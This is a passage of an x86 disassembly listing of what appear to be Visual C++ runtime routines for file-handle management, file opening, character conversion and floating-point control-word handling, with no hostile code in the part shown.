lea eax, [ebp+var_A0]
push edi
push eax
call sub_4179D0
lea eax, [ebp+var_A0]
push offset asc_424BA8 ; "\n\n"
push eax
call sub_4179D0
push off_4362FC[esi]
lea eax, [ebp+var_A0]
push eax
call sub_4179D0
push 12010h
lea eax, [ebp+var_A0]
push offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
push eax
call sub_42105F
add esp, 2Ch
pop edi
jmp short loc_41F9D5
; ---------------------------------------------------------------------------
loc_41F9AF: ; CODE XREF: sub_41F885+3Cj
; sub_41F885+4Dj
lea eax, [ebp+arg_0]
lea esi, off_4362FC[esi]
push 0
push eax
push dword ptr [esi]
call sub_417AB0
pop ecx
push eax
push dword ptr [esi]
push 0FFFFFFF4h
nop
call near ptr 260078Ah
push eax
nop
call near ptr 2650000h
loc_41F9D5: ; CODE XREF: sub_41F885+2Ej
; sub_41F885+59j ...
pop esi
leave
retn
sub_41F885 endp
; =============== S U B R O U T I N E =======================================
sub_41F9D8 proc near ; CODE XREF: sub_419D23+6Cp
; sub_41E248+32p ...
arg_0 = dword ptr 4
inc dword_4CDB78
push 1000h
call sub_417B89
pop ecx
mov ecx, [esp+arg_0]
test eax, eax
mov [ecx+8], eax
jz short loc_41FA01
or dword ptr [ecx+0Ch], 8
mov dword ptr [ecx+18h], 1000h
jmp short loc_41FA12
; ---------------------------------------------------------------------------
loc_41FA01: ; CODE XREF: sub_41F9D8+1Aj
or dword ptr [ecx+0Ch], 4
lea eax, [ecx+14h]
mov [ecx+8], eax
mov dword ptr [ecx+18h], 2
loc_41FA12: ; CODE XREF: sub_41F9D8+27j
mov eax, [ecx+8]
and dword ptr [ecx+4], 0
mov [ecx], eax
retn
sub_41F9D8 endp
; =============== S U B R O U T I N E =======================================
sub_41FA1C proc near ; CODE XREF: sub_419D23+61p
; sub_41A8A2+8p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4CEDE0
jb short loc_41FA2B
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_41FA2B: ; CODE XREF: sub_41FA1C+Aj
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4CECE0[ecx*4]
mov al, [ecx+eax*8+4]
and eax, 40h
retn
sub_41FA1C endp
; =============== S U B R O U T I N E =======================================
sub_41FA42 proc near ; DATA XREF: ___:00426020o
mov eax, dword_4CECC0
push esi
push 14h
test eax, eax
pop esi
jnz short loc_41FA56
mov eax, 200h
jmp short loc_41FA5C
; ---------------------------------------------------------------------------
loc_41FA56: ; CODE XREF: sub_41FA42+Bj
cmp eax, esi
jge short loc_41FA61
mov eax, esi
loc_41FA5C: ; CODE XREF: sub_41FA42+12j
mov dword_4CECC0, eax
loc_41FA61: ; CODE XREF: sub_41FA42+16j
push 4
push eax
call sub_4210E8
pop ecx
mov dword_4CDCB0, eax
test eax, eax
pop ecx
jnz short loc_41FA95
push 4
push esi
mov dword_4CECC0, esi
call sub_4210E8
pop ecx
mov dword_4CDCB0, eax
test eax, eax
pop ecx
jnz short loc_41FA95
push 1Ah
call sub_419CDA
pop ecx
loc_41FA95: ; CODE XREF: sub_41FA42+30j
; sub_41FA42+49j
xor ecx, ecx
mov eax, offset off_436388
loc_41FA9C: ; CODE XREF: sub_41FA42+6Ej
mov edx, dword_4CDCB0
mov [ecx+edx], eax
add eax, 20h
add ecx, 4
cmp eax, offset dword_436608
jl short loc_41FA9C
xor edx, edx
mov ecx, offset dword_436398
loc_41FAB9: ; CODE XREF: sub_41FA42+A1j
mov eax, edx
mov esi, edx
sar eax, 5
and esi, 1Fh
mov eax, dword_4CECE0[eax*4]
mov eax, [eax+esi*8]
cmp eax, 0FFFFFFFFh
jz short loc_41FAD6
test eax, eax
jnz short loc_41FAD9
loc_41FAD6: ; CODE XREF: sub_41FA42+8Ej
or dword ptr [ecx], 0FFFFFFFFh
loc_41FAD9: ; CODE XREF: sub_41FA42+92j
add ecx, 20h
inc edx
cmp ecx, offset dword_4363F8
jl short loc_41FAB9
pop esi
retn
sub_41FA42 endp
; =============== S U B R O U T I N E =======================================
sub_41FAE7 proc near ; DATA XREF: ___:00426030o
; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES
call sub_41A82C
cmp byte_4CD9F4, 0
jz short locret_41FAFA
jmp loc_421199
; ---------------------------------------------------------------------------
locret_41FAFA: ; CODE XREF: sub_41FAE7+Cj
retn
sub_41FAE7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FAFB proc near ; CODE XREF: sub_419E38+2D4p
; sub_419E38+6B3p
arg_0 = dword ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
mov eax, [ebp+arg_0]
test eax, eax
jnz short loc_41FB07
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FB07: ; CODE XREF: sub_41FAFB+8j
cmp dword_4CDA48, 0
jnz short loc_41FB22
mov cx, [ebp+arg_4]
cmp cx, 0FFh
ja short loc_41FB54
push 1
mov [eax], cl
pop eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41FB22: ; CODE XREF: sub_41FAFB+13j
lea ecx, [ebp+arg_0]
and [ebp+arg_0], 0
push ecx
push 0
push dword_433E7C
push eax
lea eax, [ebp+arg_4]
push 1
push eax
push 220h
push dword_4CDA58
nop
call near ptr 27D0000h
test eax, eax
jz short loc_41FB54
cmp [ebp+arg_0], 0
jz short loc_41FB61
loc_41FB54: ; CODE XREF: sub_41FAFB+1Ej
; sub_41FAFB+51j
mov dword_4CD9B4, 2Ah
or eax, 0FFFFFFFFh
loc_41FB61: ; CODE XREF: sub_41FAFB+57j
pop ebp
retn
sub_41FAFB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FB63 proc near ; CODE XREF: sub_41A642+5Ep
; sub_41EB6C+9Ap
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_424BE8
push offset sub_41F774
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4CDB7C
xor ebx, ebx
cmp eax, ebx
jnz short loc_41FBD2
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_4248D8
push esi
nop
call near ptr 25F0000h
test eax, eax
jz short loc_41FBB0
mov eax, esi
jmp short loc_41FBCD
; ---------------------------------------------------------------------------
loc_41FBB0: ; CODE XREF: sub_41FB63+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_436EF4
push esi
push ebx
nop
call near ptr 25F090Ah
test eax, eax
jz loc_41FC98
push 2
pop eax
loc_41FBCD: ; CODE XREF: sub_41FB63+4Bj
mov dword_4CDB7C, eax
loc_41FBD2: ; CODE XREF: sub_41FB63+2Fj
cmp eax, 2
jnz short loc_41FBFB
mov eax, [ebp+arg_14]
cmp eax, ebx
jnz short loc_41FBE3
mov eax, dword_4CDA48
loc_41FBE3: ; CODE XREF: sub_41FB63+79j
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call near ptr 25F090Ah
nop
jmp loc_41FC9A
; ---------------------------------------------------------------------------
loc_41FBFB: ; CODE XREF: sub_41FB63+72j
cmp eax, 1
jnz loc_41FC98
cmp [ebp+arg_10], ebx
jnz short loc_41FC11
mov eax, dword_4CDA58
mov [ebp+arg_10], eax
loc_41FC11: ; CODE XREF: sub_41FB63+A4j
push ebx
push ebx
push [ebp+arg_8]
push [ebp+arg_4]
mov eax, [ebp+arg_18]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_10]
call near ptr 2630000h
nop
mov [ebp+var_20], eax
cmp eax, ebx
jz short loc_41FC98
mov [ebp+var_4], ebx
lea edi, [eax+eax]
mov eax, edi
add eax, 3
and al, 0FCh
call sub_417B30
mov [ebp+var_18], esp
mov esi, esp
mov [ebp+var_24], esi
push edi
push ebx
push esi
call sub_417330
add esp, 0Ch
jmp short loc_41FC67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor esi, esi
loc_41FC67: ; CODE XREF: sub_41FB63+F7j
or [ebp+var_4], 0FFFFFFFFh
cmp esi, ebx
jz short loc_41FC98
push [ebp+var_20]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push 1
push [ebp+arg_10]
nop
call near ptr 2630000h
cmp eax, ebx
jz short loc_41FC98
push [ebp+arg_C]
push eax
push esi
push [ebp+arg_0]
call near ptr 25F0000h
nop
jmp short loc_41FC9A
; ---------------------------------------------------------------------------
loc_41FC98: ; CODE XREF: sub_41FB63+61j
; sub_41FB63+9Bj ...
xor eax, eax
loc_41FC9A: ; CODE XREF: sub_41FB63+93j
; sub_41FB63+133j
lea esp, [ebp-34h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_41FB63 endp
; =============== S U B R O U T I N E =======================================
sub_41FCAC proc near ; CODE XREF: sub_41FEC6:loc_42003Ep
push ebx
push esi
push edi
or ebx, 0FFFFFFFFh
xor edi, edi
xor esi, esi
mov ecx, offset dword_4CECE0
loc_41FCBB: ; CODE XREF: sub_41FCAC+48j
mov eax, [ecx]
test eax, eax
jz short loc_41FCF8
lea edx, [eax+100h]
loc_41FCC7: ; CODE XREF: sub_41FCAC+28j
cmp eax, edx
jnb short loc_41FCE7
test byte ptr [eax+4], 1
jz short loc_41FCD6
add eax, 8
jmp short loc_41FCC7
; ---------------------------------------------------------------------------
loc_41FCD6: ; CODE XREF: sub_41FCAC+23j
or dword ptr [eax], 0FFFFFFFFh
sub eax, [ecx]
sar eax, 3
add eax, esi
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jnz short loc_41FD3B
loc_41FCE7: ; CODE XREF: sub_41FCAC+1Dj
add ecx, 4
inc edi
add esi, 20h
cmp ecx, offset dword_4CEDE0
jl short loc_41FCBB
jmp short loc_41FD3B
; ---------------------------------------------------------------------------
loc_41FCF8: ; CODE XREF: sub_41FCAC+13j
mov esi, 100h
push esi
call sub_417B89
test eax, eax
pop ecx
jz short loc_41FD3B
add dword_4CEDE0, 20h
lea ecx, ds:4CECE0h[edi*4]
lea edx, [eax+100h]
mov [ecx], eax
loc_41FD1E: ; CODE XREF: sub_41FCAC+88j
cmp eax, edx
jnb short loc_41FD36
and byte ptr [eax+4], 0
or dword ptr [eax], 0FFFFFFFFh
mov byte ptr [eax+5], 0Ah
mov edx, [ecx]
add eax, 8
add edx, esi
jmp short loc_41FD1E
; ---------------------------------------------------------------------------
loc_41FD36: ; CODE XREF: sub_41FCAC+74j
shl edi, 5
mov ebx, edi
loc_41FD3B: ; CODE XREF: sub_41FCAC+39j
; sub_41FCAC+4Aj ...
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_41FCAC endp
; =============== S U B R O U T I N E =======================================
sub_41FD41 proc near ; CODE XREF: sub_41FEC6+1F4p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
cmp eax, dword_4CEDE0
push edi
jnb short loc_41FDA1
mov ecx, eax
mov esi, eax
sar ecx, 5
and esi, 1Fh
lea edi, ds:4CECE0h[ecx*4]
shl esi, 3
mov ecx, [edi]
cmp dword ptr [ecx+esi], 0FFFFFFFFh
jnz short loc_41FDA1
cmp dword_433C64, 1
push ebx
mov ebx, [esp+0Ch+arg_4]
jnz short loc_41FD97
sub eax, 0
jz short loc_41FD8E
dec eax
jz short loc_41FD89
dec eax
jnz short loc_41FD97
push ebx
push 0FFFFFFF4h
jmp short loc_41FD91
; ---------------------------------------------------------------------------
loc_41FD89: ; CODE XREF: sub_41FD41+3Ej
push ebx
push 0FFFFFFF5h
jmp short loc_41FD91
; ---------------------------------------------------------------------------
loc_41FD8E: ; CODE XREF: sub_41FD41+3Bj
push ebx
push 0FFFFFFF6h
loc_41FD91: ; CODE XREF: sub_41FD41+46j
; sub_41FD41+4Bj
call near ptr 25E054Dh
nop
loc_41FD97: ; CODE XREF: sub_41FD41+36j
; sub_41FD41+41j
mov eax, [edi]
mov [eax+esi], ebx
xor eax, eax
pop ebx
jmp short loc_41FDB5
; ---------------------------------------------------------------------------
loc_41FDA1: ; CODE XREF: sub_41FD41+Cj
; sub_41FD41+28j
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
or eax, 0FFFFFFFFh
loc_41FDB5: ; CODE XREF: sub_41FD41+5Ej
pop edi
pop esi
retn
sub_41FD41 endp
; =============== S U B R O U T I N E =======================================
sub_41FDB8 proc near ; CODE XREF: sub_41A6B7+7Cp
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
push esi
cmp ecx, dword_4CEDE0
push edi
jnb short loc_41FE1B
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea edi, ds:4CECE0h[eax*4]
shl esi, 3
mov eax, [edi]
add eax, esi
test byte ptr [eax+4], 1
jz short loc_41FE1B
cmp dword ptr [eax], 0FFFFFFFFh
jz short loc_41FE1B
cmp dword_433C64, 1
jnz short loc_41FE11
xor eax, eax
sub ecx, eax
jz short loc_41FE08
dec ecx
jz short loc_41FE03
dec ecx
jnz short loc_41FE11
push eax
push 0FFFFFFF4h
jmp short loc_41FE0B
; ---------------------------------------------------------------------------
loc_41FE03: ; CODE XREF: sub_41FDB8+41j
push eax
push 0FFFFFFF5h
jmp short loc_41FE0B
; ---------------------------------------------------------------------------
loc_41FE08: ; CODE XREF: sub_41FDB8+3Ej
push eax
push 0FFFFFFF6h
loc_41FE0B: ; CODE XREF: sub_41FDB8+49j
; sub_41FDB8+4Ej
nop
call near ptr 25E054Dh
loc_41FE11: ; CODE XREF: sub_41FDB8+38j
; sub_41FDB8+44j
mov eax, [edi]
or dword ptr [eax+esi], 0FFFFFFFFh
xor eax, eax
jmp short loc_41FE2F
; ---------------------------------------------------------------------------
loc_41FE1B: ; CODE XREF: sub_41FDB8+Cj
; sub_41FDB8+2Aj ...
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
or eax, 0FFFFFFFFh
loc_41FE2F: ; CODE XREF: sub_41FDB8+61j
pop edi
pop esi
retn
sub_41FDB8 endp
; =============== S U B R O U T I N E =======================================
sub_41FE32 proc near ; CODE XREF: sub_41A6B7+32p
; sub_41A6B7+49p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4CEDE0
jnb short loc_41FE5A
mov ecx, eax
and eax, 1Fh
sar ecx, 5
mov ecx, dword_4CECE0[ecx*4]
test byte ptr [ecx+eax*8+4], 1
lea eax, [ecx+eax*8]
jz short loc_41FE5A
mov eax, [eax]
retn
; ---------------------------------------------------------------------------
loc_41FE5A: ; CODE XREF: sub_41FE32+Aj
; sub_41FE32+23j
and dword_4CD9B8, 0
mov dword_4CD9B4, 9
or eax, 0FFFFFFFFh
retn
sub_41FE32 endp
; =============== S U B R O U T I N E =======================================
sub_41FE6F proc near ; CODE XREF: sub_41A795+2Bp
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
cmp eax, dword_4CEDE0
jnb short loc_41FEB8
mov ecx, eax
mov edx, eax
sar ecx, 5
and edx, 1Fh
mov ecx, dword_4CECE0[ecx*4]
test byte ptr [ecx+edx*8+4], 1
jz short loc_41FEB8
push eax
call sub_41FE32
pop ecx
push eax
nop
call near ptr 25E009Dh
test eax, eax
jnz short loc_41FEAD
call near ptr 2660B07h
nop
jmp short loc_41FEAF
; ---------------------------------------------------------------------------
loc_41FEAD: ; CODE XREF: sub_41FE6F+34j
xor eax, eax
loc_41FEAF: ; CODE XREF: sub_41FE6F+3Cj
test eax, eax
jz short locret_41FEC5
mov dword_4CD9B8, eax
loc_41FEB8: ; CODE XREF: sub_41FE6F+Aj
; sub_41FE6F+22j
mov dword_4CD9B4, 9
or eax, 0FFFFFFFFh
locret_41FEC5: ; CODE XREF: sub_41FE6F+42j
retn
sub_41FE6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41FEC6 proc near ; CODE XREF: sub_41A96C+13Fp
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 1Ch
mov ecx, [ebp+arg_4]
push ebx
xor ebx, ebx
push esi
test cl, 80h
push edi
mov [ebp+var_1C], 0Ch
mov [ebp+var_18], ebx
jz short loc_41FEEC
mov [ebp+var_14], ebx
mov [ebp+var_1], 10h
jmp short loc_41FEF7
; ---------------------------------------------------------------------------
loc_41FEEC: ; CODE XREF: sub_41FEC6+1Bj
and [ebp+var_1], 0
mov [ebp+var_14], 1
loc_41FEF7: ; CODE XREF: sub_41FEC6+24j
mov eax, 8000h
test ecx, eax
jnz short loc_41FF11
test ch, 40h
jnz short loc_41FF0D
cmp dword_4CDC88, eax
jz short loc_41FF11
loc_41FF0D: ; CODE XREF: sub_41FEC6+3Dj
or [ebp+var_1], 80h
loc_41FF11: ; CODE XREF: sub_41FEC6+38j
; sub_41FEC6+45j
push 3
mov eax, ecx
pop esi
and eax, esi
sub eax, ebx
jz short loc_41FF49
dec eax
jz short loc_41FF40
dec eax
jz short loc_41FF37
loc_41FF22: ; CODE XREF: sub_41FEC6+9Fj
; sub_41FEC6+E8j ...
mov dword_4CD9B4, 16h
mov dword_4CD9B8, ebx
jmp loc_42015C
; ---------------------------------------------------------------------------
loc_41FF37: ; CODE XREF: sub_41FEC6+5Aj
mov [ebp+var_C], 0C0000000h
jmp short loc_41FF50
; ---------------------------------------------------------------------------
loc_41FF40: ; CODE XREF: sub_41FEC6+57j
mov [ebp+var_C], 40000000h
jmp short loc_41FF50
; ---------------------------------------------------------------------------
loc_41FF49: ; CODE XREF: sub_41FEC6+54j
mov [ebp+var_C], 80000000h
loc_41FF50: ; CODE XREF: sub_41FEC6+78j
; sub_41FEC6+81j
mov eax, [ebp+arg_8]
cmp eax, 10h
jz short loc_41FF7E
cmp eax, 20h
jz short loc_41FF75
cmp eax, 30h
jz short loc_41FF6C
cmp eax, 40h
jnz short loc_41FF22
mov [ebp+var_10], esi
jmp short loc_41FF81
; ---------------------------------------------------------------------------
loc_41FF6C: ; CODE XREF: sub_41FEC6+9Aj
mov [ebp+var_10], 2
jmp short loc_41FF81
; ---------------------------------------------------------------------------
loc_41FF75: ; CODE XREF: sub_41FEC6+95j
mov [ebp+var_10], 1
jmp short loc_41FF81
; ---------------------------------------------------------------------------
loc_41FF7E: ; CODE XREF: sub_41FEC6+90j
mov [ebp+var_10], ebx
loc_41FF81: ; CODE XREF: sub_41FEC6+A4j
; sub_41FEC6+ADj ...
mov edx, 700h
mov eax, 400h
and ecx, edx
mov edi, 100h
cmp ecx, eax
jg short loc_41FFCB
jz short loc_41FFC6
cmp ecx, ebx
jz short loc_41FFC6
cmp ecx, edi
jz short loc_41FFBD
cmp ecx, 200h
jz short loc_41FFE4
cmp ecx, 300h
jnz loc_41FF22
mov [ebp+var_8], 2
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFBD: ; CODE XREF: sub_41FEC6+D8j
mov [ebp+var_8], 4
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFC6: ; CODE XREF: sub_41FEC6+D0j
; sub_41FEC6+D4j
mov [ebp+var_8], esi
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFCB: ; CODE XREF: sub_41FEC6+CEj
cmp ecx, 500h
jz short loc_41FFED
cmp ecx, 600h
jz short loc_41FFE4
cmp ecx, edx
jz short loc_41FFED
jmp loc_41FF22
; ---------------------------------------------------------------------------
loc_41FFE4: ; CODE XREF: sub_41FEC6+E0j
; sub_41FEC6+113j
mov [ebp+var_8], 5
jmp short loc_41FFF4
; ---------------------------------------------------------------------------
loc_41FFED: ; CODE XREF: sub_41FEC6+10Bj
; sub_41FEC6+117j
mov [ebp+var_8], 1
loc_41FFF4: ; CODE XREF: sub_41FEC6+F5j
; sub_41FEC6+FEj ...
mov eax, [ebp+arg_4]
mov esi, 80h
test eax, edi
jz short loc_420013
mov ecx, dword_4CD9BC
not ecx
and ecx, [ebp+arg_C]
test cl, 80h
jnz short loc_420013
push 1
pop esi
loc_420013: ; CODE XREF: sub_41FEC6+138j
; sub_41FEC6+148j
test al, 40h
jz short loc_420021
or esi, 4000000h
or byte ptr [ebp+var_C+2], 1
loc_420021: ; CODE XREF: sub_41FEC6+14Fj
test ah, 10h
jz short loc_420028
or esi, edi
loc_420028: ; CODE XREF: sub_41FEC6+15Ej
test al, 20h
jz short loc_420034
or esi, 8000000h
jmp short loc_42003E
; ---------------------------------------------------------------------------
loc_420034: ; CODE XREF: sub_41FEC6+164j
test al, 10h
jz short loc_42003E
or esi, 10000000h
loc_42003E: ; CODE XREF: sub_41FEC6+16Cj
; sub_41FEC6+170j
call sub_41FCAC
mov ebx, eax
or edi, 0FFFFFFFFh
cmp ebx, edi
jnz short loc_42005F
loc_42004C: ; DATA XREF: ___:00427A84o
; ___:00427A90o
and dword_4CD9B8, 0
mov dword_4CD9B4, 18h
jmp short loc_42009D
; ---------------------------------------------------------------------------
loc_42005F: ; CODE XREF: sub_41FEC6+184j
push 0
push esi
push [ebp+var_8]
lea eax, [ebp+var_1C]
push eax
push [ebp+var_10]
push [ebp+var_C]
push [ebp+arg_0]
nop
call near ptr 2660829h
mov esi, eax
cmp esi, edi
jz short loc_420090
push esi
nop
call near ptr 2600000h
test eax, eax
jnz short loc_4200A4
push esi
nop
call near ptr 26408F3h
loc_420090: ; CODE XREF: sub_41FEC6+1B6j
call near ptr 2660B07h
nop
push eax
call sub_41EF44
pop ecx
loc_42009D: ; CODE XREF: sub_41FEC6+197j
mov eax, edi
jmp loc_42017A
; ---------------------------------------------------------------------------
loc_4200A4: ; CODE XREF: sub_41FEC6+1C1j
cmp eax, 2
jnz short loc_4200AF
or [ebp+var_1], 40h
jmp short loc_4200B8
; ---------------------------------------------------------------------------
loc_4200AF: ; CODE XREF: sub_41FEC6+1E1j
cmp eax, 3
jnz short loc_4200B8
or [ebp+var_1], 8
loc_4200B8: ; CODE XREF: sub_41FEC6+1E7j
; sub_41FEC6+1ECj
push esi
push ebx
call sub_41FD41
pop ecx
mov al, [ebp+var_1]
pop ecx
mov esi, ebx
mov ecx, ebx
or al, 1
sar ecx, 5
and esi, 1Fh
mov byte ptr [ebp+arg_0+3], al
lea edi, ds:4CECE0h[ecx*4]
shl esi, 3
mov ecx, [edi]
and byte ptr [ebp+arg_0+3], 48h
mov [ecx+esi+4], al
jnz short loc_420161
test al, 80h
jz short loc_420161
test byte ptr [ebp+arg_4], 2
jz short loc_420161
push 2
push 0FFFFFFFFh
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jnz short loc_420116
cmp dword_4CD9B8, 83h
jz short loc_420161
jmp short loc_420155
; ---------------------------------------------------------------------------
loc_420116: ; CODE XREF: sub_41FEC6+240j
and byte ptr [ebp+arg_8+3], 0
lea eax, [ebp+arg_8+3]
push 1
push eax
push ebx
call sub_41E321
add esp, 0Ch
test eax, eax
jnz short loc_420143
cmp byte ptr [ebp+arg_8+3], 1Ah
jnz short loc_420143
push [ebp+var_10]
push ebx
call sub_4211F1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jz short loc_420155
loc_420143: ; CODE XREF: sub_41FEC6+265j
; sub_41FEC6+26Bj
push 0
push 0
push ebx
call sub_41E517
add esp, 0Ch
cmp eax, 0FFFFFFFFh
jnz short loc_420161
loc_420155: ; CODE XREF: sub_41FEC6+24Ej
; sub_41FEC6+27Bj
push ebx
call sub_41A6B7
pop ecx
loc_42015C: ; CODE XREF: sub_41FEC6+6Cj
or eax, 0FFFFFFFFh
jmp short loc_42017A
; ---------------------------------------------------------------------------
loc_420161: ; CODE XREF: sub_41FEC6+221j
; sub_41FEC6+225j ...
cmp byte ptr [ebp+arg_0+3], 0
jnz short loc_420178
test byte ptr [ebp+arg_4], 8
jz short loc_420178
mov eax, [edi]
or byte ptr [eax+esi+4], 20h
lea eax, [eax+esi+4]
loc_420178: ; CODE XREF: sub_41FEC6+29Fj
; sub_41FEC6+2A5j
mov eax, ebx
loc_42017A: ; CODE XREF: sub_41FEC6+1D9j
; sub_41FEC6+299j
pop edi
pop esi
pop ebx
leave
retn
sub_41FEC6 endp
; =============== S U B R O U T I N E =======================================
sub_42017F proc near ; CODE XREF: sub_41C50A+52p
xor eax, eax
retn
sub_42017F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_420182 proc near ; CODE XREF: sub_4201B7+Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push esi
fstcw word ptr [ebp+var_4]
push [ebp+var_4]
call sub_4201CD
mov esi, eax
mov eax, [ebp+arg_4]
not eax
and esi, eax
mov eax, [ebp+arg_0]
and eax, [ebp+arg_4]
or esi, eax
push esi
call sub_42025F
pop ecx
mov [ebp+arg_4], eax
pop ecx
fldcw word ptr [ebp+arg_4]
mov eax, esi
pop esi
leave
retn
sub_420182 endp
; =============== S U B R O U T I N E =======================================
sub_4201B7 proc near ; CODE XREF: sub_41C7F6+Ap
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
and eax, 0FFF7FFFFh
push eax
push [esp+4+arg_0]
call sub_420182
pop ecx
pop ecx
retn
sub_4201B7 endp
; =============== S U B R O U T I N E =======================================
sub_4201CD proc near ; CODE XREF: sub_420182+Cp
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push ebp
test bl, 1
push edi
jz short loc_4201DE
push 10h
pop eax
loc_4201DE: ; CODE XREF: sub_4201CD+Cj
test bl, 4
jz short loc_4201E5
or al, 8
loc_4201E5: ; CODE XREF: sub_4201CD+14j
test bl, 8
jz short loc_4201EC
or al, 4
loc_4201EC: ; CODE XREF: sub_4201CD+1Bj
test bl, 10h
jz short loc_4201F3
or al, 2
loc_4201F3: ; CODE XREF: sub_4201CD+22j
test bl, 20h
jz short loc_4201FA
or al, 1
loc_4201FA: ; CODE XREF: sub_4201CD+29j
test bl, 2
jz short loc_420204
or eax, 80000h
loc_420204: ; CODE XREF: sub_4201CD+30j
movzx ecx, bx
push esi
mov edx, ecx
mov esi, 0C00h
mov edi, 300h
and edx, esi
mov ebp, 200h
jz short loc_42023C
cmp edx, 400h
jz short loc_420239
cmp edx, 800h
jz short loc_420235
cmp edx, esi
jnz short loc_42023C
or eax, edi
jmp short loc_42023C
; ---------------------------------------------------------------------------
loc_420235: ; CODE XREF: sub_4201CD+5Ej
or eax, ebp
jmp short loc_42023C
; ---------------------------------------------------------------------------
loc_420239: ; CODE XREF: sub_4201CD+56j
or ah, 1
loc_42023C: ; CODE XREF: sub_4201CD+4Ej
; sub_4201CD+62j ...
and ecx, edi
pop esi
jz short loc_42024C
cmp ecx, ebp
jnz short loc_420251
or eax, 10000h
jmp short loc_420251
; ---------------------------------------------------------------------------
loc_42024C: ; CODE XREF: sub_4201CD+72j
or eax, 20000h
loc_420251: ; CODE XREF: sub_4201CD+76j
; sub_4201CD+7Dj
pop edi
pop ebp
test bh, 10h
pop ebx
jz short locret_42025E
or eax, 40000h
locret_42025E: ; CODE XREF: sub_4201CD+8Aj
retn
sub_4201CD endp
; =============== S U B R O U T I N E =======================================
sub_42025F proc near ; CODE XREF: sub_420182+23p
arg_0 = dword ptr 4
push ebx
mov ebx, [esp+4+arg_0]
xor eax, eax
push esi
test bl, 10h
jz short loc_42026F
push 1
pop eax
loc_42026F: ; CODE XREF: sub_42025F+Bj
test bl, 8
jz short loc_420276
or al, 4
loc_420276: ; CODE XREF: sub_42025F+13j
test bl, 4
jz short loc_42027D
or al, 8
loc_42027D: ; CODE XREF: sub_42025F+1Aj
test bl, 2
jz short loc_420284
or al, 10h
loc_420284: ; CODE XREF: sub_42025F+21j
test bl, 1
jz short loc_42028B
or al, 20h
loc_42028B: ; CODE XREF: sub_42025F+28j
test ebx, 80000h
jz short loc_420295
or al, 2
loc_420295: ; CODE XREF: sub_42025F+32j
mov ecx, ebx
mov edx, 300h
and ecx, edx
mov esi, 200h
jz short loc_4202C2
cmp ecx, 100h
jz short loc_4202BF
cmp ecx, esi
jz short loc_4202BA
cmp ecx, edx
jnz short loc_4202C2
or ah, 0Ch
jmp short loc_4202C2
; ---------------------------------------------------------------------------
loc_4202BA: ; CODE XREF: sub_42025F+50j
or ah, 8
jmp short loc_4202C2
; ---------------------------------------------------------------------------
loc_4202BF: ; CODE XREF: sub_42025F+4Cj
or ah, 4
loc_4202C2: ; CODE XREF: sub_42025F+44j
; sub_42025F+54j ...
mov ecx, ebx
and ecx, 30000h
jz short loc_4202D8
cmp ecx, 10000h
jnz short loc_4202DA
or eax, esi
jmp short loc_4202DA
; ---------------------------------------------------------------------------
loc_4202D8: ; CODE XREF: sub_42025F+6Bj
or eax, edx
loc_4202DA: ; CODE XREF: sub_42025F+73j
; sub_42025F+77j
pop esi
test ebx, 40000h
pop ebx
jz short locret_4202E7
or ah, 10h
locret_4202E7: ; CODE XREF: sub_42025F+83j
retn
